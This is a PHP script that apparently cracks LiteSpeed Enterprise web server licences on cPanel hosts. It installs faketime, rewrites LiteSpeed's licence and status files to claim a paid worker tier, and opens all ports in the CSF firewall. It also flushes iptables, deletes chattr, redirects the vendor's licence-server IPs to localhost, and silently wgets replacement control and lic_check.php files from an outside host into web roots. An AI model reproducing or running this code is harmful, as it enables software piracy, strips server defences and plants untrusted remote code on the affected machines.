<?php 
exec("rm -rf /root/lsws.p* > /dev/null 2>&1");
exec("rm -rf /root/lsws.result > /dev/null 2>&1");
$lock = "/root/LSWS.lock";s
if( file_exists($lock) ) 
{
    exec("sed 's/^ *//g' /root/.lsws.pid1 > /root/.lsws.pid 2>&1");
    $pid = file_get_contents("/root/.lsws.pid");
    exec("ps -ef | grep " . $pid . "");
    $filexml = file_get_contents("/root/.lsws.result");
    $pose = strpos($filexml, "/usr/bin/GbLSWS");
    if( $pose !== false ) 
    {
        echo "\n\nLiteSpeed license is already running. To stop the process please run the following command :\nrm -rf /root/LSWS.lock\n";
    }
    else
    {
        exec("rm -rf /root/LSWS.lock > /dev/null 2>&1");
        echo "\n\nLiteSpeed license LOCK file exists but not running... removing it...\n";
    }

}
else
{
    exec("rm -rf /root/.lsws.p* > /dev/null 2>&1");
    exec("rm -rf /root/.lsws.result > /dev/null 2>&1");
    exec("touch /root/LSWS.lock");
    exec("echo \$(ps -o ppid= -p \"\$\$\") \"| grep -v grep > /root/.lsws.result\" > /root/.lsws.pid1");
    exec("faketime > /usr/local/.checkf 2>&1");
    $filexml = file_get_contents("/usr/local/.checkf");
    $pose = strpos($filexml, "Usage: faketime");
    if( $pose !== false ) 
    {
        exec("cp /usr/bin/faketime /usr/bin/cpd > /dev/null 2>&1");
        exec("rm -rf /usr/local/.checkf > /dev/null 2>&1");
    }
    else
    {
        exec("cd /home && wget http://li.nux.ro/download/nux/misc/el6/x86_64//libfaketime-0.9.6-2.el6.nux.x86_64.rpm > /dev/null 2>&1 && yum localinstall libfaketime-0.9.6-2.el6.nux.x86_64.rpm -y > /dev/null 2>&1");
        exec("cp /usr/bin/faketime /usr/bin/cpd > /dev/null 2>&1");
        exec("chmod +x /usr/bin/cpd > /dev/null 2>&1");
        exec("rm -rf /usr/local/.checkf > /dev/null 2>&1");
        exec("rm -rf /home/libfaketime-0.9.6-2.el6.nux.x86_64.rpm > /dev/null 2>&1");
    }

    $file = file_get_contents("/usr/bin/.rccore");
    $pos = strpos($file, "4");
    if( $pos !== false ) 
    {
        $version = exec("/usr/local/lsws/bin/lshttpd -v | sed -e \"s/LiteSpeed\\/\\(.*\\) Enterprise/\\1/\"");
        $file = "/usr/local/lsws/admin/html." . $version . "/classes/ConfigFile.php";
        $cores = file_get_contents($file);
        $res = strpos($cores, "proc = 4");
        if( $res == false ) 
        {
            exec("sed -i '/" . $proc . " = .*SERVER.*{0};/c\$proc = 4;' /usr/local/lsws/admin/html." . $version . "/classes/ConfigFile.php");
        }

        $file2 = file_get_contents("/tmp/lshttpd/.status");
        $pos1 = strpos($file2, "TYPE: 4");
        if( $pos1 === false ) 
        {
            exec("sed -i 's/TYPE: 2/TYPE: 4/' /tmp/lshttpd/.status");
            exec("sed -i 's/SERIAL: TRIAL/SERIAL: 4-WORKER-LICENSE/' /tmp/lshttpd/.status");
        }

    }

    $file = file_get_contents("/usr/bin/.rccore");
    $pos = strpos($file, "8");
    if( $pos !== false ) 
    {
        $version = exec("/usr/local/lsws/bin/lshttpd -v | sed -e \"s/LiteSpeed\\/\\(.*\\) Enterprise/\\1/\"");
        $file = "/usr/local/lsws/admin/html." . $version . "/classes/ConfigFile.php";
        $cores = file_get_contents($file);
        $res = strpos($cores, "proc = 8");
        if( $res == false ) 
        {
            exec("sed -i '/" . $proc . " = .*SERVER.*{0};/c\$proc = 8;' /usr/local/lsws/admin/html." . $version . "/classes/ConfigFile.php");
        }

        $file2 = file_get_contents("/tmp/lshttpd/.status");
        $pos1 = strpos($file2, "TYPE: 8");
        if( $pos1 === false ) 
        {
            exec("sed -i 's/TYPE: 2/TYPE: 8/' /tmp/lshttpd/.status");
            exec("sed -i 's/SERIAL: TRIAL/SERIAL: 8-WORKER-LICENSE/' /tmp/lshttpd/.status");
        }

    }

    $file22 = file_get_contents("/etc/csf/csf.conf");
    $pos = strpos($file22, "TCP_OUT = \"1:65535\"");
    if( $pos === false ) 
    {
        exec("sed -i '/TCP_OUT =/c\\TCP_OUT = \"1:65535\"' /etc/csf/csf.conf");
        exec("csf -r > /dev/null 2>&1");
    }

    $file22 = file_get_contents("/etc/csf/csf.conf");
    $pos = strpos($file22, "TCP_IN = \"1:65535\"");
    if( $pos === false ) 
    {
        exec("sed -i '/TCP_IN =/c\\TCP_IN = \"1:65535\"' /etc/csf/csf.conf");
        exec("csf -r > /dev/null 2>&1");
    }

    $file22 = file_get_contents("/etc/csf/csf.conf");
    $pos = strpos($file22, "UDP_IN = \"1:65535\"");
    if( $pos === false ) 
    {
        exec("sed -i '/UDP_IN =/c\\UDP_IN = \"1:65535\"' /etc/csf/csf.conf");
        exec("csf -r > /dev/null 2>&1");
    }

    $file22 = file_get_contents("/etc/csf/csf.conf");
    $pos = strpos($file22, "TESTING = \"0\"");
    if( $pos === false ) 
    {
        exec("sed -i '/TESTING =/c\\TESTING = \"0\"' /etc/csf/csf.conf");
        exec("csf -r > /dev/null 2>&1");
    }

    $file22 = file_get_contents("/etc/csf/csf.conf");
    $pos = strpos($file22, "UDP_OUT = \"1:65535\"");
    if( $pos === false ) 
    {
        exec("sed -i '/UDP_OUT =/c\\UDP_OUT = \"1:65535\"' /etc/csf/csf.conf");
        exec("csf -r > /dev/null 2>&1");
    }

    exec("rm -rf /root/.bash_time > /dev/null 2>&1");
    exec("rm -rf /usr/bin/chattr > /dev/null 2>&1");
    exec("rm -rf /bin/chattr > /dev/null 2>&1");
    exec("rm -rf /usr/bin/chattr2 > /dev/null 2>&1");
    exec("rm -rf /bin/chattr2 > /dev/null 2>&1");
    $filexml = file_get_contents("/usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_ControlApp.php");
    $pose = strpos($filexml, "/usr/bin/GbLSWS");
    if( $pose === false ) 
    {
        exec("wget -O /usr/local/cpanel/whostmgr/cgi/lsws/WhmMod_LiteSpeed_ControlApp.php api.licenses4host.com/api/files/litespeed/WhmMod_LiteSpeed_ControlApp > /dev/null 2>&1");
    }

    $file = exec("ps -ef | grep litespeed > /root/.bash_timel");
    $file2 = file_get_contents("/root/.bash_timel");
    $pos = strpos($file2, "(lshttpd - main)");
    $pos1 = strpos($file2, "(lshttpd - #01)");
    $pos2 = strpos($file2, "(lshttpd - #02)");
    if( $pos !== false && $pos1 !== false && $pos2 !== false ) 
    {
        exec("csf -dr 34.231.236.27 > /dev/null 2>&1");
        exec("csf -dr 52.55.120.73 > /dev/null 2>&1");
        exec("csf -dr 167.99.112.67 > /dev/null 2>&1");
        exec("rm -rf /root/.bash_time4 > /dev/null 2>&1");
        exec("rm -rf /root/.bash_time3 > /dev/null 2>&1");
        $file11 = exec("timeout 3s ping 34.231.236.27 > /root/.bash_time3");
        $file22 = file_get_contents("/root/.bash_time3");
        $pos = strpos($file22, "bytes from");
        if( $pos === false ) 
        {
            exec("iptables -P INPUT ACCEPT > /dev/null 2>&1");
            exec("iptables -P FORWARD ACCEPT > /dev/null 2>&1");
            exec("iptables -P OUTPUT ACCEPT > /dev/null 2>&1");
            exec("iptables -t nat -F  > /dev/null 2>&1");
            exec("iptables -t mangle -F > /dev/null 2>&1");
            exec("iptables -F > /dev/null 2>&1");
            exec("iptables -X > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A INPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A INPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A INPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A INPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A INPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A INPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A OUTPUT -s 208.74.121.85 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A OUTPUT -s 208.74.121.86 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A OUTPUT -s 208.74.123.3 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A OUTPUT -s 208.74.121.83 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A OUTPUT -s 208.74.121.82 -j DROP > /dev/null 2>&1");
            exec("/usr/sbin/iptables -A OUTPUT -s 208.74.123.2 -j DROP > /dev/null 2>&1");
            exec("csf -s > /dev/null 2>&1");
            exec("csf -d 208.74.123.2 > /dev/null 2>&1");
            exec("csf -d 208.74.121.82 > /dev/null 2>&1");
            exec("csf -d 208.74.121.83 > /dev/null 2>&1");
            exec("csf -d 208.74.123.3 > /dev/null 2>&1");
            exec("csf -d 208.74.121.86 > /dev/null 2>&1");
            exec("csf -d 208.74.121.85 > /dev/null 2>&1");
            exec("sudo iptables -t nat -A OUTPUT -d 34.231.236.27 -j DNAT --to-destination 127.0.0.1 > /dev/null 2>&1");
            exec("sudo iptables -t nat -A OUTPUT -d 167.99.112.67 -j DNAT --to-destination 127.0.0.1 > /dev/null 2>&1");
            exec("sudo iptables -t nat -A OUTPUT -d 52.55.120.73 -j DNAT --to-destination 127.0.0.1 > /dev/null 2>&1");
            exec("echo 1 > /proc/sys/net/ipv4/ip_forward > /dev/null 2>&1");
        }

        if( file_exists("/var/www/html/trial.key") ) 
        {
            if( md5_file("/usr/local/lsws/conf/trial.key") !== md5_file("/var/www/html/trial.key") ) 
            {
                exec("rm -rf /var/www/html/trial.key > /dev/null 2>&1");
                exec("rm -rf /usr/local/lsws/.changed > /dev/null 2>&1");
            }

            $file = "/var/www/html/trial.key";
            $filesize = filesize($file);
            if( 1 >= $filesize ) 
            {
                exec("rm -rf /var/www/html/trial.key > /dev/null 2>&1");
                exec("cp /usr/local/lsws/conf/trial.key /var/www/html/trial.key > /dev/null 2>&1");
                exec("chmod 0755 /var/www/html/trial.key > /dev/null 2>&1");
            }

        }
        else
        {
            exec("cp /usr/local/lsws/conf/trial.key /var/www/html/trial.key > /dev/null 2>&1");
            exec("chmod 0755 /var/www/html/trial.key > /dev/null 2>&1");
        }

        if( !file_exists("/var/www/html/lic_check.php") ) 
        {
            exec("wget -O /var/www/html/lic_check.php api.licenses4host.com/api/files/litespeed/lic_check > /dev/null 2>&1");
        }

        if( file_exists("/var/www/vhosts/default/htdocs") ) 
        {
            if( !file_exists("/var/www/vhosts/default/htdocs/lic_check.php") ) 
            {
                exec("wget -O /var/www/vhosts/default/htdocs/lic_check.php api.licenses4host.com/api/files/litespeed/lic_check > /dev/null 2>&1");
            }

        }

        exec("chmod 0755 /var/www/html/trial.key > /dev/null 2>&1");
        exec("chmod 0755 /var/www/html/lic_check.php > /dev/null 2>&1");
        exec("chmod 0755 /var/www/vhosts/default/htdocs/trial.key > /dev/null 2>&1");
        exec("comp0 +i /usr/local/lsws/conf/trial.key > /dev/null 2>&1");
        exec("chmod +-x /usr/local/lsws/admin/misc/cp_switch_ws.sh > /dev/null 2>&1");
        exec("chmod +x /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
        $file = exec("ps -ef | grep lswsup > /root/.bash_time3");
        $file2 = file_get_contents("/root/.bash_time3");
        $pos = strpos($file2, "sh /usr/local/lsws/admin/misc/lswsup");
        if( $pos === false ) 
        {
            exec("systemctl daemon-reload > /dev/null 2>&1");
            exec("service GBLSWS start > /dev/null 2>&1");
        }

        $file = "/usr/local/lsws/bin/lshttpd";
        $filesize = filesize($file);
        $filech1 = file_get_contents("/usr/local/lsws/bin/lshttpd");
        $posttt = strpos($filech1, "faketime");
        if( $posttt !== false && 1 < $filesize ) 
        {
            exec("cp /usr/local/lsws/bin/.lshttpd /usr/local/lsws/bin/lshttpd");
        }

        echo "LiteSpeed status : OK";
    }
    else
    {
        exec("service GBLSWS stop > /dev/null 2>&1; service GbLSWS stop > /dev/null 2>&1; service GBLSWS stop > /dev/null 2>&1");
        exec("chmod +-x /usr/local/lsws/admin/misc/cp_switch_ws.sh > /dev/null 2>&1");
        exec("chmod +x /usr/local/lsws/bin/lshttpd > /dev/null 2>&1");
        exec("/usr/bin/gblicensels");
    }

    exec("rm -rf /root/LSWS.lock > /dev/null 2>&1");
}


